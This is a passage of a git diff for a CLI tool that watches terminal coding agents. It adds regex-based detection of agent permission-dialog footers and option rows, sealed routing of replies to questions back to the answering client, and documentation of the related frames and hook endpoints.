ctrl+e explain`. Proximity to the rows is what makes this+ * a guard and not a search: it must sit within a few lines UNDER them. */+// Claude's plan review footer changed from Esc/Tab hints to+// "shift+tab to approve with this feedback" plus ctrl+g.+export const PERMISSION_FOOTER_RE = /\besc\b|enter\s+select|ctrl\+e|shift\+tab\s+to\s+approve/i++/** The footers only an engine's own reader anchors on: devin `↵ select` / `↵ confirm`, grok `Enter:submit`+ * / `1/3:select`, agy and grok `navigate`, muse and amp `↑/↓ to move` / `↑/↓/j/k move`. */+const ENGINE_FOOTER_RE = /↵\s*(select|confirm)|enter\s*:\s*submit|\d+\/\d+\s*:\s*select|\bnavigate\b|↑\/↓(\/j\/k)?\s+(to\s+)?move\b/i++/** How a key-hint line starts (`Esc to cancel`, `Enter to select`, `↑/↓ navigate`, `Press enter to confirm`,+ * grok's `up/down navigate` and `1/3:select`), and prose that merely mentions a key does not. */+const HINT_START_RE = /^\s*(esc\b|enter\b|tab\b|shift\+tab\b|ctrl\+|press enter\b|up\/down\b|\d+\/\d+\s*:\s*select\b|[↑↓⇆←→])/i++/** Kilo's and OpenCode's approval, whose options share their line with the key hints:+ * `Allow once Allow always Reject ctrl+f fullscreen ⇆ select enter confirm`. */+const OPTIONS_AND_HINTS_RE = /^\s*[A-Z][^\s│┃|]*(?: \S+)*\s{2,}.*\benter\s+confirm\b/++/** A row, in every engine's spelling: `❯ 1. Yes`, devin's `❭ 1 Xanh` / `□ 2 Đỏ`, grok's `2 (○) Yes, proceed`. */+const ROW_RES = [+ /^\s*[❯›>]?\s*\d+\.\s+\S/,+ /^\s*[❭❯›>·□■☑✔]\s+\d+\s+\S/,+ /^\s*[❯›>]?\s*[0-9a-z]\s+\([^)]*\)\s+\S/i,+]++/** A line without the frame drawn around it: hermes and copilot `│ … │`, opencode and kilo `┃`, grok `|`. */+function unrail(line: string): string {+ return line.replace(/^\s*[│┃|]\s?/, '').replace(/\s*[│┃|]\s*$/, '')+}++/** Is line `i` the end of a dialog: its key hints, with its rows right above? */+export function isDialogEnd(lines: string[], i: number): boolean {+ const line = unrail(lines[i] ?? '')+ if (OPTIONS_AND_HINTS_RE.test(line)) return true+ if (!HINT_START_RE.test(line)) return false+ if (!PERMISSION_FOOTER_RE.test(line) && !QUESTION_FOOTER_RE.test(line) && !ENGINE_FOOTER_RE.test(line)) return false+ // Its rows sit just above, give or take a rule, a status line or a box's closing border (hermes paints+ // two lines of security scan between its last row and its frame).+ for (let j = i - 1; j >= 0 && i - j <= 8; j--) {+ const above = unrail(lines[j])+ if (ROW_RES.some((re) => re.test(above))) return true+ }+ return false+}++/**+ * Where an earlier dialog ends above line `start` (within `reach` lines), or -1. A reader walking up from+ * `start` stops strictly below it.+ */+export function earlierDialogEnd(lines: string[], start: number, reach: number): number {+ for (let i = Math.min(start, lines.length) - 1; i >= 0 && start - i <= reach; i--) {+ if (isDialogEnd(lines, i)) return i+ }+ return -1+}diff --git a/cli/src/lib/e2ee/applicationFrames.ts b/cli/src/lib/e2ee/applicationFrames.tsindex a9bd0b167..bc1c707b8 100644--- a/cli/src/lib/e2ee/applicationFrames.ts+++ b/cli/src/lib/e2ee/applicationFrames.ts@@ -26,5 +26,11 @@ export const STRICT_DOWN_TYPES = new Set(['dsh_install', 'dsh_update', 'dsh_remo/** What a client seals for a given daemon: the always-sealed types, plus STRICT_DOWN_TYPES when it opens them. */export const encryptDownFrameFor = (type: string, peer: { strictDown: boolean }): boolean =>encryptDownFrame(type) || (peer.strictDown && STRICT_DOWN_TYPES.has(type))+/** What became of one client's answer to a question (`question_response`): typed, or refused as+ * STALE_QUESTION. Listed so it goes back sealed and to the connection that answered — a dial, a phone, a+ * machine relaying for its app — rather than being broadcast to every window and web client of this+ * machine. Here and not in core.ts's pinned set: the reply is the same frame, only its route changes. */+const QUESTION_RESULT = 'question_response_result'export const encryptRpcResult = (type: string): boolean =>ENCRYPTED_RPC_RESULT_TYPES.has(type) || MACHINE_RESULTS.has(type) || FLEET_RESULTS.has(type) || SHARE_RESULT_TYPES.has(type)+ || type === QUESTION_RESULTdiff --git a/docs/cli.md b/docs/cli.mdindex 1fe6058fe..43882ed80 100644--- a/docs/cli.md+++ b/docs/cli.md@@ -49,6 +49,11 @@ What it answers: `agents_list`, `agent_create`, `agent_restart`, `agent_retargetbinary terminal channel with scroll, resync and paste. The same frames travel from the web clientover the relay.+`question_response` carries the `requestId` of the `commander_question` it answers, and its+`question_response_result` comes back under that same id, to that client alone (sealed, over the relay):+`{ ok: true }` once the answer is typed, or `{ error: "STALE_QUESTION", detail }` when the dialog on+screen is no longer that question — nothing is typed then.+Engines report in over HTTP on the same port: `POST /api/hook/session-start`, `session-end`,`turn-start`, `turn-stop`, `tool-start`, authenticated by a per-install token the daemon writes intothe hook it installs.